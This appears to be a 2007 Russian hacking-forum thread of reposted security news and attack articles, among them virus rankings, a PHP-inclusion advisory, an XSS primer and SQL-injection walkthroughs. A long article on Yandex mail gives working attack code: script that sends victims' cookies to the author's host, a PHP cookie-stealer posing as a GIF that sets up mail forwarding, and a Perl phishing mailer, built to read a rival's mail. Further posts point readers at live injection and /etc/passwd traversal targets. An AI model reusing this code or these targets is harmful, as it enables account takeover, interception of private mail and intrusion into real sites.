Здравствуйте, гость ( Вход | Регистрация )

 
Ответить в данную темуНачать новую тему
> Новости из мира интернет, баги, взломы, статьи, вирусы..
Рейтинг 3 V
CL!F
сообщение 2.06.2007 - 00:26

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Ну ребят хотел создать тему давно вот решился, не судите строго каждый должен знать об ошибках которые существуют. Перед каждой новой статьей я буду писать [Раздел, описание, дата, ссылка].

Первое и самое главное правило весь материал предоставлен для изучение, и все что сдесь написано бред выдуманный авторами статей. Использование методов отсюда вы нарушаете закон УКРФ. Вы сами хазяева своей судьбы
[Новости.Лучшие вирусы Мая.Дата: 01.06.2007 17:31:38.http://xakep.ru/post/38430/default.asp]

Первый взгляд на верхние места майской вирусной двадцатки может заставить некоторых вообразить, что они провалились в дыру во времени и снова оказались в конце 2005 года. Можно сколько угодно протирать глаза и пытаться ущипнуть себя в надежде, что сон развеется, но это ничего не изменит — Netsky, Bagle и Sober снова правят балом, как в старые добрые времена. Собственно, к этому все и шло. Netsky.t и .q уже давно находятся в числе лидеров наших отчетов, Bagle.gt тоже несколько месяцев подряд подбирался все ближе к первой тройке.
А вот четвертое место неожиданно для всех занял Sober.aa. Первые его экземпляры были обнаружены специалистами «Лаборатории Касперского» 7 апреля 2007 года. Все бы ничего, да вот только предпоследний вариант данного червя - .z - датирован серединой ноября 2005 года! Более полутора лет прошло с того момента. Вариант .z был одним из наиболее распространенных червей в свое время. Казалось, что на след неизвестного автора червя уже вышла полиция Германии и вот-вот мы услышим о его аресте. Но, история подзабылась и вот кто-то (возможно уже другой человек) выпустил в мир новый вариант старого почтового червя. Результат нагляден — примитивный Sober.aa смог потеснить многих гораздо более «технологичных» червей и, возможно, 4-е место далеко не предел для него.
В целом двадцатка самых распространенных вирусов, по версии "Лаборатории Касперского", выглядит так:
  1. Email-Worm.Win32.NetSky.t
  2. Email-Worm.Win32.NetSky.q
  3. Email-Worm.Win32.Bagle.gt
  4. Email-Worm.Win32.Sober.aa
  5. Worm.Win32.Feebs.gen
  6. Email-Worm.Win32.NetSky.aa
  7. Net-Worm.Win32.Mytob.c
  8. Trojan-Downloader.Win32.Agent.bqs
  9. Email-Worm.Win32.Scano.gen
  10. Email-Worm.Win32.NetSky.b
  11. Virus.Win32.Grum.a
  12. Net-Worm.Win32.Mytob.t
  13. Email-Worm.Win32.LovGate.w
  14. Net-Worm.Win32.Mytob.dam
  15. Email-Worm.Win32.NetSky.x
  16. Email-Worm.Win32.Mydoom.l
  17. Return Exploit.Win32.IMG-WMF.y
  18. Email-Worm.Win32.Zhelatin.dam
  19. Email-Worm.Win32.Warezov.ns
  20. Virus.Win32.Cheburgen.a
[EOF]

[Bugtrack.PHP-инклюдинг в Madirish Webmail.Дата: 01.06.2007 20:36:56.ссылка ]]>http://xakep.ru/post/38440/default.asp]]>]

Программа: Madirish Webmail 2.x
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «basedir» множественными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Примеры:
http://[host]/lib/addressbook.php?basedir=[file]
http://[host]/calendar.php?basedir=[file]
http://[host]/compose.php?basedir=[file]
]]>http://[host]/index.php?basedir=[file]]>]


[EOF]

ах самый смак на последок забыл...

[Hacking.YandeXSS.дата.16.01.2007.ссылка ]]>http://nst.void.ru/?q=papers&cat_where...bies&show=1]]>]

[ps:модераторы простите сразу за столь большую статью...]

********************************* **** Network Security Team ******
*********nst.void.ru****************************************************
********************************************************************************
*
Title : YandeXSS* Writed : NST *
Date : 16.06.2006*
Re-Date : 15.01.2007*
Comments : С того времени как была написана эта статья прошло пол года, косательно яндекса появилась новая информация.* таким вот символом # я помечю коментарии которые были добавлены к этой статье wink.gif ********************************************************************************
*****************************************
1. Intro.
2. YandeXSS.
3. Облом с AJAX.
4. Посмотрим на это с другой стороны.
5. Сообщения на основе шаблонов.
6. Выдуманный пример.
7. Эпилог.
8. Warning.
9. URLs.
Intro.
Теперь я убедился в том, что Яндекс не солгал, взяв себе на вооружение такой рекламный слоган – "Яндекс – найдётся всё" В итоге я нашёл, что искал...До сих пор удивляюсь, почему программисты, работая над крупными и популярными проектами, ещё не уяснили, что необходимофильтровать на предмет спец символов все данные, приходящие от пользователя, которые как либо могут повлиять на работусистемы. Хотя чему тут удивляться, извечное давление свыше заставляет сдавать всё во время, пусть немного недоделано,но работает же wink.gif
YandeXSS.
Бродя как-то по WEB почте Яндекса, с мыслью это же Яндекс тут есть всё, я искал что-нибудь, что поможет мне теоретическипочитать почту недруга. Конечно найти что-то серьёзное вероятность довольно мала, а вот XSS вполне реальная вещ.
# XSS реальная вещ думал я, а как пишут в СМИ неизвестные нашли там такого рода прикол : заветная строка в .htaccess
# файл AddType application/x-httpd-php .jpg и "счастье" со всеми его вытекающими, база мыл и т.п, но это уже не моя статья.
#
# Почему же я не стал смотреть в такую сторону :
#
# 1. GET запрос сказал мне, что там некий "ZX_Spectrum/1997 c ОС (Sinclair_BASIC)" - (даже когда-то игрался на таком).
# Понятно админ сменил банер сервиса. Хотя там раньше был другой банер.
#
# [email="nst@nst"]nst@nst[/email]:~# telnet narod.ru 80
# Connected to narod.ru.
# Escape character is '^]'.
# GET / HTTP/1.0
#
# HTTP/1.1 200 OK
# Date: Mon, 29 Jan 2007 20:54:34 GMT
# Server: ZX_Spectrum/1997 (Sinclair_BASIC)
# Connection: close# # 2. nmap -sV -p 80 yandex.ru && nmap -sV -p 80 narod.ru
#
# Сообщил, что отпечаток такого сервиса ему неизвестен.
#
# 3. Я почему-то думал, что у крупных контор весь софт самописный, ну или почти wink.gif Это всё гугла со своим GWS. Потом такой # косяк в настройке веб сервера это фантастика, ан нет !
#
# Мораль сей басни такова, что когда уже все возможные методы проверены в ход идут самые невероятные способы. Придумывать
# свои способы фингерпринта.
# Сценарий своих действий я видел таким :
1. Нахожу XSS пассивную или активную. На первый вариант надежды больше так как все поля, из которых данные заносятся в заголовок и текст письма отфильтрованы 33 раза =) Необходимо ориентироваться на суб-домен mail.yandex.ru т.к. XSS здесь вызовет меньшею подозрительность у недруга.
2. Пешим web-снифер, который будет вытаскивать из куки полезную информацию, сохранять её и оповещать меня по почте об появление новых записей в логе. Оповещение необходимо так как сессии на яндексе долго не живут.
3. В сервисах какого-нибудь оператора сотовой связи можно взять услугу которая будет сбрасывать оповещение на телефон о получение корреспонденции на обслуживаемый почтовый ящик. Тот самый на который будут приходить оповещения от web-снифера.И начались многочисленные проверки полей на предмет XSS, подстановкой в них конструкции вида TEST и наблюдая,а не появилось ли в ожидаемых местах курсивное слово TEST.Заодно у меня будет примерный список потенциальных параметров, в которых возможна XSS, где только мешает фильтр которыйможно попытаться обмануть. Благо есть пару проверенных способов. Итак на поиск в разделы. В секции "Письма" всё глухо да тут и полей на которые я могу как-то влиять всего три. Давай взглянем на них. Поля "От кого"и "Тема" отфильтрованы начисто, это я проверил из Секция "Переслать" и "Написать", подставляя в поля коварные значения.Поле "Поиск в папке" на мою конструкцию ругается "синтаксическая ошибка" после чего я вижу свою внедряемою строку внеизменном виде. Ясно тут фильтр.На секции "Удалить" , "Это спам!" , "Проверить почту", "Проверка на вирусы" смотреть нет смысла т.к. это толькоманипуляции с письмами и полей для ввода данных в них нет.# А может стоит посмотреть, и придумать как хитро это можно использовать.Переходим к секции "Адресная книга" как оказалась просто кладесь XSS и все они активные. После нескольких проверок,выяснилось, что фильтрами тут и не пахло, так как можно свободно внедрить конструкцию подобную<script>alert('NST')Только вот активность этих XSS обусловлена пользователем. Т.е. это всё хорошо когда мы находимся у себя в ящике и самивнедряем нужные значения – активизируем XSS. Но что бы это провернуть в ящике недруга, мне необходимо что бы недруготправил POST запрос на скрипт colabook_addp с необходимыми значениями – сам активизировал XSS. Увы мне этого не сделать.Возможно это пригодится в будущем.Переходим к секции "Настройки". Так что у нас здесь, в "Персональных настройках" нечего интересного, "Персональные папки"увы тоже пусто, фильтры JS кода нам портят всю картину. Едим дальше, на очереди станция "Фильтры" в её подсекциях"Чёрном списке" и "Белом списке" тоже нечего, а вот сами фильтры после изучения их возможностей дают мне неплохой шанспочитать почту недруга.Так вот есть тут одна интересная возможность по пересылке почты на любой ящик. Правда при этом на ящик, который был указанв качестве получателя, скидывается сообщение для активации этого фильтра.Идея хороша сделать проверку, на то что вы установили пересылку на свой ящик, только вот непонятно зачем оставитьвозможность пересылать почту на тот же ящик в котором мы установили этот фильтр, на лицо петелька, но я не об этом.Можно послать много писем самому себе, но толку с DoS-а мало. Заметь самое интересное то, что для добавления фильтра напересылку не нужно повторно вводит пароль пользователя. Который как раз подтверждает, что это именно владелец устанавливаетфильтр, а не какой-то JavaScript код. В письме активации которое сбрасывается на ящик который был указан в качестве пунктаназначения для писем, лежит обычная ссылка, кликнув по который мы активируем фильтр.Что из этого всего можно получить спросишь ты ? А получается, что если написать JavaScript код который отправит POST запросна ]]>http://mail.yandex.ru/add_filter]]> c моим ящиком в качестве получателя, сохраняя все пересылаемые письма в ящике недруга.Если не оставлять письма после пересылки, он сразу всё заметит.Ещё одним условием является что бы мой фильтр был первым в списке, тогда я смогу читать почту недруга до тех пор пока онневздумает настроить себе фильтр. Кстати письмо на активацию фильтра будет сигнализатором, на то что недруг попался =)Это однозначно must have.Но мне по-прежнему необходимо найти XSS, а осталась всего одна секция Поиск. Итак что у нас в ней, всего два поля изкоторых одно было проверено в секции "Письма" оптимистично. Ну что ж подставляю в поле "Поиск по адресам"<script>alert('Someone XSS here ???') вуалях JS код выполняется. Итак все ингредиенты блюда у нас теперь есть, будем готовить
Облом с AJAX.
Я призадумался, как же мне выполнять POST запрос на JavaScript. Погуглировав на эту тему я нашёл замечательную технологиюAJAX. Почитав немного выяснил, что её поддерживает большинство браузеров, реализация везде немного отличается, нокросбраузерности будет достигнуть не сложно.Написал скриптик, но обломался так как скрипт ]]>http://mail.yandex.ru/add_filter]]> проверял, HTTP заголовок Referer. СредстваAJAX позволяют устанавливать произвольные заголовки, но Referer увы Readonly.
Посмотрим на это с другой стороны.
Если гора не идёт к Магомеду… Стоп какие горы, это я очём ? Меня посетила мысль, а что если с помощью XSS утащить сессию(она на Яндексе как я говорил хранится в кукисах) у недруга, передать её скрипту, а уже он отправит POST запрос надобавления фильтра.
Проблем с Referer тут не будет, так как скриптом мы можем формировать заголовки какие только пожелаетсервер.Пользователю скинуть письмо якобы от какой-нибудь службы Яндекса, в котором вставить ссылку, закодировав всё что будетпривлекать внимание в URI. Яндекс умная система отформатирует ссылку HTML-ом и пользователь её будет видеть как обычнуюссылку на сайтах. Сказано реализовано.
В итоге у меня получился вот такой XSS
<script src=http://nst.void.ru/s/s.js>

После преобразования его в URI, ( для преобразования я воспользовался nsT Calc )nstCalc.pl –urle "<script src=http://nst.void.ru/s/s.js>"и добавления полученного в параметр где я нашёл XSS, ссылка приняла такой вид
]]>http://mail.yandex.ru/search?help=error&am...;од]]> s.jsi = new Image; i.src='http://nst.void.ru/s/s.gif?'+document.cookie;window.location='http://mail.yandex.ru/yamail';
Переменная help и её значение error здесь используется для правдоподобности. Пусть недруг думает, что это ссылка на некуюпомощь. Можно было и не делать промежуточный скрипт s.js, а напрямую внедрить
window.location=http://
Но в таком случаессылка была бы значительно больше и привлекала бы лишние внимание, а нам оно здесь абсолютно лишние. Затем я написал скрипт на PHP который будет вытаскивать сессию из QUERY_STRING (именно там окажется кука, а следовательнои сессия в ней, после выполнения в браузере недруга скрипта s.js) , а затем скрипт сделает необходимый POST запроскоторый добавит фильтр. Приведу только интересные моменты скрипта s.gif, полный код ищи на сайте.Код s.gif// We are the pictures.if (!strlen($_SERVER['QUERY_STRING'])) {$i = @fopen($img, "rb"); fpassthru($i); fclose($i);die;}
Здесь скрипт прикидываемся картинкой, если пользователь захочет открыть её в браузере.
// Build query data for request.
$data="field_filtername=";
$data.=$name;
$data.="&letter=any_letter&field_case=0&field_cliker=forward&field_mailz=";
$data.=$mail;
$data.="&forward_with_store=yes&field_case2=0";
Тут переменным присваиваем все необходимые данные для запроса. Их я взял из формы которая добавляет фильтр.
// Build reqest.
$req="POST
$target HTTP/1.0\r\n";
$req.="Referer:".
$ref."\r\n";
$req.="Content-Type: application/x-www-form-urlencoded\r\n";
$req.="Host: ".
$host."\r\n";
$req.="Content-Length: ".strlen($data)."\r\n";
$req.="Cookie: ".
$send_cook."\r\n";
$req.="Connection: Close\r\n\r\n";
$req.=$data;Констроирую POST запрос.// Open & send reqest.Посылаю запрос и анализирую ответ.>
Для правильной работы данному скрипту необходимы следующие условия :1. На сервере должно быть разрешено использование функции fsockopen(). Увы на бесплатных хостингах её часто блокируют.2. Необходимо что бы s.gif обрабатывался PHP, например в Apache этого можно добиться с помощью .htaccess файла следующего содержания, который необходимо поместить в директорию, где лежит s.gif

AddType application/x-httpd-php .gif

3. При включённом логирование данных в web-снифере, на файл data.txt необходимо установить соответствующие права доступа.Думаю основная идея скрипта понятна. Прокомментирую его некоторые переменные.
$img – имя картинки которая будет выдаваться при прямом обращение к скрипту.
$log_name – имя фаила в который будет делаться логирование.
$name – имя добавляемого фильтра.
$mail – ящик на который перебрасывать всё почту недруга.
$redir – ссылка по которой будет переброшен пользователь.
Сообщения на основе шаблонов.Теперь осталось только сделать так что бы недруг кликнул по нашей ссылки которая придёт ему в письме. Я написал небольшойскрипт на PERL который использует шаблоны и на основе их отправляет письмо пользователю. В качестве шаблонов используютсясообщения которые присылает Яндекс-служба в случае каких-то некорректных действий. Так же подойдут сообщений о получениеоткрытки с cards.yandex.ru и многие другие. Фантазируй пиши шаблоны, зная основы социальной инженерии ты, можешь бытьуверенным, что пользователь кликнет по ссылке.
#!/usr/bin/perluse IO::Socket;
### GRETS #######################################################
### Гритсы все в коде.##############################################
### INFO ##########################################################
# Script don't work ? Use command below for get IP-s of
# Yandex smtps. #
# host -t A mx1.yandex.ru#
# Mail tamplate derectives.
# Not like my ? Feeling freedom create you own.#
# NST_VICTIM_EMAIL - Email of target user.
# NST_VICTIM_FULL_EMAIL - Full email of target user.##
NST_DEST_EMAIL - Email of fake destination.
# NST_DEST_FULL_EMAIL - Full email of destination.
# NST_DATA_TIME - Field where shuld change date at now.
# NST_ARRIVAL_DATE_TIME - It's NST_DATA_TIME - Some time.
# NST_SENDER_IP - Fake IP of sender user.
# NST_XSS_URL - I think you understend it.#####################################
# CFG ############################################################# Global
$debug=1;
$rcvbuf=500;
$smtp="127.0.0.1";
$smtp="213.180.200.11";
# mxfront6.yandex.ru
$port=25;
#### Mail## Mail domain.
$dom="yandex.ru";
# This mail we are use as fake address of destination - NST_DEST_EMAIL
$dest="nst\@$dom";
# This mail we are use as full fake address of destination - NST_DEST_FULL_EMAIL
$dest_f="\"NST\" <$dest>";
# Sender IP
$sndip="213.180.200.11"
;# Arrival time. By default we are subtract 2 minutes.
$hours=0;
$minutes=2;
$seconds=0;
#### XSS#
$xss = "<script src=http://nst.void.ru/s/s.js>";
##################################################################### SUBS #########################################################
sub usage() {print qq( Usage : Exaple : nst 1.tpl);exit;}##################################################################
&usage if(@ARGV<2 || ! -e $ARGV[1]);
# Victim
$victim = "$ARGV[0]\@$dom";
$victim_f = "\"$ARGV[0]\" $ARGV[0]\@$dom";
# Encode XSSi
f($debug) {$xss = "<script>alert(/Someone try exploit you./);";}
$xss =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$xss_url = ]]>http://mail.yandex.ru/search?help=error&am...36;xss&do=1]]>;

Сдесь идёт код который получает текущие время и формирует дату в таком же виде, что и почтовый сервер отправляет письмо.

# Prepare to send data.Сдесь мы используя протокол SMTP, договариваемся с сервером о передаче письма.
# Process
headers.while() {s/NST_VICTIM_FULL_EMAIL/$victim_f/;s/NST_VICTIM_EMAIL/$victim/;s/NST_DEST_FULL_EMAIL/$dest_f/;s/NST_DEST_EMAIL/$dest/;s/NST_DATE_TIME/$d_t_s/;s/NST_ARRIVAL_DATE_TIME/$d_t_a/;s/NST_SENDER_IP/$sndip/g;s/NST_XSS_URL/$xss_url/;

Здесь происходит замена всех заголовков в соответствии с шаблоном. После этого я завершаю соединение и вывожусообщение об успешной отправки письма.print "\n Message send to $ARGV[0]\@yandex.ru - OK\n\n";Типы шаблонов :1.tpl – Ошибка в адресате.2.tpl – Использует сообщение о несуществуещем пользователе.3.tpl – Яндекс открытки.
Выдуманный пример
После всех этих теоретическо-кодерских слов я покажу возможный сценарий действий максимально приближенный к реальности.Предположим у моего недруга есть ящик Mister-N@yandex.ru и как очевидно обозначим его мистер N. Он ведёт конфиденциальнуюпереписку со своей подругой хакершей которая использует ящик Mis-S@mail.ru обозначим её мисс S. А я буду использоватьящик Mister-T@yandex.ru и обозначу себя как мистер T. На каком-нибудь хостинге где есть поддержка PHP и можно работать ссокетами, создаю директорию s и загружаю в неё : s.gif , s.js , .htaccessС заранее приготовленного шелла запускаю ya_tpl_msg.pl таким образомnst@root~# ./ya_tpl_msg.pl Mister-N@yandex.ru <любой из шаблонов>Мистер N заходит в очередной раз проверить свою почту через WEB. Видит, что пришло сообщение о том, что какое-то письмодля его подруги не отправилось, не долго думая он кликакет по ссылки. В итоге его перебрасывает на главную страницупочты Яндекса. Он куда-то торопится не обдумывает, что случилось и просто удаляет это сообщение сославшись на ошибкусистемы.Тем временем мистер T получает на мобильник уведомление, что пришла новая корреспонденция в ящик Mister-T@yandex.ru.Проверяет его, и успешно активирует фильтр. Спустя некоторое время мисс S отправляет письмо мистеру N, но письмо так жеоказывается у мистера T благодаря техники которую мы освоили.Вот так это могло выглядеть, будь всегда внимателен когда кликаеш по подозрительным ссылкам, используй шифрование изаберай почту каким-нибудь почтовым клиентом.||| Эпилог.Как видно из статьи Yandex допустил ошибки в двух местах, что повлекло к существованию этого материала.Анализируя систему изучи всё её возможности и применяй все полученные знания в комплексе для достижения своей цели.Всё хорошо в идеализированных ситуациях, а вот в реальности такого не бывает. А разве ты, собрался это проверять вдействительности ? Нет это перечит закону, так сказать тренируйся на кошках.# Сколько поучительных громких слов в статье, возникает какое-то нездоровое ощущение - "О я великий гуру, смотрящий на тебе# читатель мой". Тупо да ?! Гуру кодят на асме, и пишут Linux-ы, VX/RAT и т.п, ну я думаю понятно о чём я. И я так думаю,# самое главное из этой статьи, что ты можешь вынести так это идею - "Используй окружение по max для достижения своей цели"# которую я пытался показать. Решать сугубо вам получилось у меня или нет. Пару слов конструктивной критики судовольствием# выслушаю на нашем форуме.#
# И дело думаю, не в словах, а в том что каждый по ночам сидит и что-то изучает, кодит, читает и получает знания. #
# На данный момент 15.01.2007 всё описанное в статье прекрыто, но идея свой смысл непотеряет некогда wink.gif Одно забыли, это# проверка пароля перед добовлением фильтра wink.gif Ищи и удача будет на твоей стороне.
Warning. Данная статья есть плод моего дикого воображения. Читатель должен воспринимать этот материал как информацию к размышлению.Размышлять об этом рекомендуется в мысленной форме и некогда не предпринимать чего-либо подобного.
URLs.AJAX - ]]>http://ru.wikipedia.org/wiki/Ajaxhttp://aj...;ть]]> AJAX - ]]>http://securityfocus.com/infocus/1868i...;ты]]> из статьи и многое другое - ]]>http://nst.void.ru]]>

[EOF]


ЗЫЖ если не будет долго поступлений не судите строга у мя сессия, но как будет свободная минутка буду обновлять.

ЗЫЖ:Все ссылки которые представлены I категории траффика

Сообщение отредактировано CL!F - 3.06.2007 - 00:32
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 3.06.2007 - 00:26

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


[XSS.XSS новичкам. Предназначение XSS-атак.дата:-неизвестна-.Ссылка:http://www.fssr.ru/hz.php?name=News&file=article&sid=5005]

Приветствую Вас, уважаемые посетители Портала! Зовут меня DrWeb. Я хочу рассказать Вам о предназначении XSS-атак, поскольку XSS-уязвимости представляют гораздо большую опасность, нежели просто кража сookies. Обо всём по порядку…

Сначала об XSS в целом. Аббревиатура XSS расшифровывается как Сross Site Sсriрting («межсайтовый скриптинг»). Принято его называть именно XSS, а не СSS, так как СSS введена намного раньше, и означает она Сasсading Style Sheets – «каскадные таблицы стилей» (применяются в оформлении HTML-станиц). Сross – это «крест», поэтому первая буква в «межсайтовом скриптинге» заменена именно на «X».
XSS – это уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от РERL- или PHP-инклудинга) произвольный код путём передачи его в качестве значения нефильтруемой переменной. (TRINUX хорошо описал этот вид атаки в статьях: ]]>http://www.hackzona.ru/hz.php?name=News&am...r=0&thold=0]]> и ]]>http://www.hackzona.ru/hz.php?name=News&am...r=0&thold=0]]> ). Под «нефильтруемой» переменной подразумевается переменная, которая перед её использованием в скрипте (например, PHP) не проверяется на наличие запретных символов, таких, как: <,>,’,” и многих других. Сначала значение переменной передаётся от HTML-страницы, загруженной в браузере пользователя, php-скрипту (через РOST- или GET-запрос). РOST-запрос передаёт переменные через массив, неотображаемый в адресной строке браузера; GET-запрос обнаруживает себя в адресной строке следующим образом:
]]>http://www.hackzona.ru/hz.php?name=News&am...r=0&thold=0]]>
Так, скрипту hz.php передадутся переменные: $name – со значением “News”, $file – со значением “artiсle”, $sid – со значением “3499” etс… Естественно, удобнее работать с GET-запросами, поэтому, хакер сохраняет страницу взламываемого сайта и в строке, типа

РOST заменяет на GET. Далее пхп-скрипт, например, генерирует хтмл-страницу, в которой выводит значение одной из переданных переменных безо всякой фильтрации. НО! Если злоумышленник, составляя GET-запрос, вместо обычного значения переменной подставит какие-нибудь ключевые тэги (например, или <ВR>), то они выполнятся интерпритатором!

Так уж закрепилось, что большинство компьютерных хулиганов используют XSS только для кражи кукисов (сookies – в большинстве случаев они хранят сессию, присвоив себе которую, злоумышленник сможет быть на сайте под чужим аккаунтом, например, в форуме, где желательна регистрация. Также они хранят зашифрованный пароль, расшифровав который, хулиган сможет завладеть аккаунтом на 100%). Но XSS-баги не ограничиваются кражей сookies.

Собственно, кульминационный абзацsmile.gif.
Что же позволяют осуществить нам XSS-уязвимости?
1)Всевозможные «подлянки», связанные с ограничением пользователей в нормальной деятельности на сайте. Например, вывод бесконечного числа окон (пример ниже) или сообщений (метод confirm или alert), как результат какого-либо действия пользователя (нажатие, наведение мышью на объект, просто заход на сайт). Или же переадресация на другой узел. Попробуйте внедрить вот этот код (без изменений) в уязвимый сайт:
window.loсation.href="http://hackzona.ru"
Также, сперва протестировав на своём компьютере, попробуйте следующий скрипт. Создайте файл 1.html с таким содержанием:
<Нtml>***
for (i=1;i]0;i++){oрen('1.html','new'+i);}

и откройте его в любом браузере.

2)Кражу конфиденциальной информации посетителя. В первую очередь сюда я отнесу кражу сookies (doсument.сookie) как самый важный атрибут безопасности пользователя (в этом разделе). Также в этот раздел входит кража информации о системе пользователя и браузере (объект navigator), текущем времени, IР-адресе, а также истории посещённых сайтов (объект history как массив; текущая страница history[0], предыдущая history[-1], всего страниц history.length) и многое другое. Вот пример скрипта, возвращающего IР-адрес посетителя в переменную IР и имя компьютера в переменную host (проверено в Oрera, Mozilla, Mizilla Firefox):

myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();


3)Всё, что умеют СGI-, РERL-, PHP-, ASР-скрипты. А это - всё что умеет JS + много приятных мелочей. То бишь это второй способ кражи конфиденциальной информации. Он гораздо удобнее, т.к. приходится внедрять не весь код в HTML-страницу через бажную переменную, а всего лишь ссылку на скрипт; тем более у этих скиптов больше возможностей. Минус в том, что это более палевный (при нерациональном использовании) и немобильный способ, тем более жертва может каким-либо образом просечь нежелаемую загрузку. Например, ты внедряешь в HTML-станицу следующий код:
window.loсation.href="http://hackzona.ru/haсkerssсriрt.php"
Здесь hackzona.ru – это сервер хакера, а haсkerssсriрt.php – это скрипт хакера, выполняющий те или иные действия. Зайдя на взломанную страницу, жертва переадресуется на скрипт ]]>http://hackzona.ru/haсkerssсriрt.php]]>, который сделает своё дело (если жертва не прервёт загрузку). Естественно, есть менее палевные способы загрузки скриптов, нежели window.loсation.href ; я привёл его только чтобы стало ясно.

4)Непредусмотренные стандартом возможности браузера. Существует множество уязвимостей браузеров, которые при обработке какого-либо кода или вызывают DoS, или предоставляют доступ к определённым файлам, или позволяют выполнять произвольный код в системе пользователя, или ещё что-нибудь не очень приятное для юзера. Множество известных и часто используемых браузеров (Internet Exрlorer, Netsсaрe, Mozilla, Mozilla Firefox, Oрera и всё что создано на их движках) уязвимо. Неуязвимы лишь некоторые их версии или же пропатченные браузеры. Совсем недавно (на момент написания статьи) Бенджамином Тобиасом Францем была обнаружена критическая уязвимость браузера Internet Exрlorer (v5.5, 6.0), позволяющая выполнить произвольный код в системе пользователя. Как же выполнить произвольный код у пользователя, который зашёл на сайт, имеющий XSS-уязвимость? Зальём эксплоит, написанный Стюартом Персоном (взять его можно отсюда: myphp4.h15.ru/0day-exрlorer.rar или с сайта seсuritylab.ru), состоящий из четырёх htm- и одного html-файла, на наш сервер, например, сoolhaсker.yo. В уязвимом сайте внедрим следующий код
window.loсation.href="http://сoolhaсker.yo/0day.html"
Теперь, жертва, зайдя на страницу сервера, в которую мы внедрили код, переадресуется на страницу-эксплоит http://сoolhaсker.yo/0day.html, которая выполнит произвольный код (в нашем случае запустит сalс.exe).

Вот и всё, чем я хотел бы с тобой поделиться на данный момент. Как видишь, возможности XSS-атак очень велики. Ты можешь устраивать массовые приколы и подлянки, воровать информацию и конфиденциальные данные и даже строить целые ботнеты, зомбируя посетителей сайтов! XSS-баги будут всегда, так как они подвергают опасности в первую очередь посетителей сайта, но не сервер; и у администрации мало стимула исправлять эти ошибки. Всё, я кончилsmile.gif

Примечание.
Все знаки «меньше» и «больше» заменены соответственно на «<» и «>».
В нормальном виде статью Вы можете скачать отсюда: ]]>http://myphp4.h15.ru/xss4newbies.doc]]>

Данил Саетгареев aka DrWeb – специально для портала HackZona.Ru

[EOF]

ЗЫЖ:Все ссылки которые представлены I категории траффика
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 5.06.2007 - 00:10

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Потренируйте свои знания в SQL-Injection сегодня 5 июня 2007 года откопал я заморачивацца не стал кому нужен опыт инж открыт вот ссылка за нее траффик 1ой категории ]]>http://www.aeternazentaris.com/en/page.php?p=20&prod=1]]> UNION SELECT (*name BD*) FROM (*name table*)

или вообще вот php-including так же скорее всего и php-injection ]]>http://forum.zebulon.fr/lofiversion/index...../../etc/passwd]]>

(то что сдесь написано бред афтора после пьяни) bes.gif

Сообщение отредактировано CL!F - 5.06.2007 - 00:20
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 11.06.2007 - 00:21

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


[Статьи:Взлом сайта знакомств).дата:07.06.2007 17:33:46 .Ссылка:http://xakep.ru/post/38513/default.asp]

Проклятый парниковый эффект отбивал всякое желание работать. Хотелось холодного пива и даже без потных женщин. Засигналила ася, стукнулся чел, попросил посмотреть один датинг, очень ему хотелось познакомиться с очаровательными мужчинами из далекой теплой страны, да развести их на некоторое количество вечно-зеленых монгольских тугриков.
Скинул ссылку. Подавив в себе слабый голос долга, пытавшийся докричаться до моего сознания и грозившего мне интимным приключением в кабинете шефа в понедельник, если я не закончу сегодня хотя бы черновой вариант бизнес-плана, я пошел смотреть сайт. Датинг оказался практически весь на html, что не предвещало ничего хорошего. Только форма регистрации, поиск и форум были на php. Естественно, я начал с форума. Первая кавычка, поставленная после параметра:
]]>http://www.zlo.com/forum.php?forum=7']]>
ничего не дала, зато вторая:
]]>http://www.zlo.com/forum.php?forum=7&topic=11']]>
весело ругнулась:
[logging::load] Internal Error: Load query failed, SQL=INSERT DELAYED INTO tbllogging(sessionID, cookieID, HTTP_REFERER, ipaddress, page, pagetime) values ('acb875ecdf07ac00c1af0c1676a0fb65', '11807131315', '','мой ip', '/forum.php?forum=7&topic=11'', now())
Зато запрос:
]]>http://www.zlo.com/forum.php?forum=7&topic=11+and+1=1/*]]>
был бодро скушан сервером и выплюнул мне страницу с постами юзеров. Было понятно, что форум инжектиться. Естественно, что мне было уже не до бизнес-плана, вручную я стал подбирать количество строк, при каждом неверном запросе я получал щедрый ответ MySQL:
WordPress database error: [The used SELECT statements have a different number of columns]
SELECT * FROM sftopics WHERE topic_id=-11 union select 1/*
На седьмой строке ответ вообще порадовал своей полнотой:
WordPress database error: [The used SELECT statements have a different number of columns]
SELECT post_id, post_content, post_date, user_id, guest_name, guest_email, post_status, username, email, mainImage FROM sfposts LEFT JOIN tbluser ON sfposts.user_id = tbluser.id WHERE topic_id = -11 union select 1,2,3,4,5,6,7/* ORDER BY post_id DESC
а в таблице форума появилась цифра 2.
Пробую вывести имя юзера базы:
]]>http://www.zlo.com/forum.php?forum=7&t...r(),3,4,5,6,7/*]]>
и посылаюсь недалеко:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
]]>http://www.zlo.com/forum.php?forum=7&t...r(),3,4,5,6,7/*]]>
Первое, что пробую - перевести user() в char. Отправляю и вижу в таблице user(), нет, не имя базы, а именно user(). О, это же XSS. Перевожу в char <script>alert(document.cookie);, посылаю запрос:
]]>http://www.zlo.com/forum.php?forum=7&t...114,105,112,116]]>, 62,97,108,101,114,116,40,100,111, 99,117,109,101,110,116, 46,99,111,111,107,105,101, 41,59,60,47,115,99, 114,105, 112,116,62),3,4,5,6,7/*
